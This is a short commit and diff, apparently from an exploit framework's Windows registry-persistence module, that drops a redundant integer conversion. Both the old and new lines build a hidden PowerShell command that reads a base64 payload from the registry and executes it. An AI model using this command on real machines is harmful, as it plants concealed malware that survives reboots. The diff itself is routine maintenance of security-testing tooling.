No to_i

What happens here is it converts to a Fixnum, and then it converts
back to a String anway because it's in a String.

Author: wchen-r7

modules/exploits/windows/local/registry_persistence.rb

@@ -68,7 +68,7 @@ def generate_payload_blob
   end
 
   def generate_cmd(root_path, blob_key_name, blob_key_reg)
-    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
+    cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
     return cmd
   end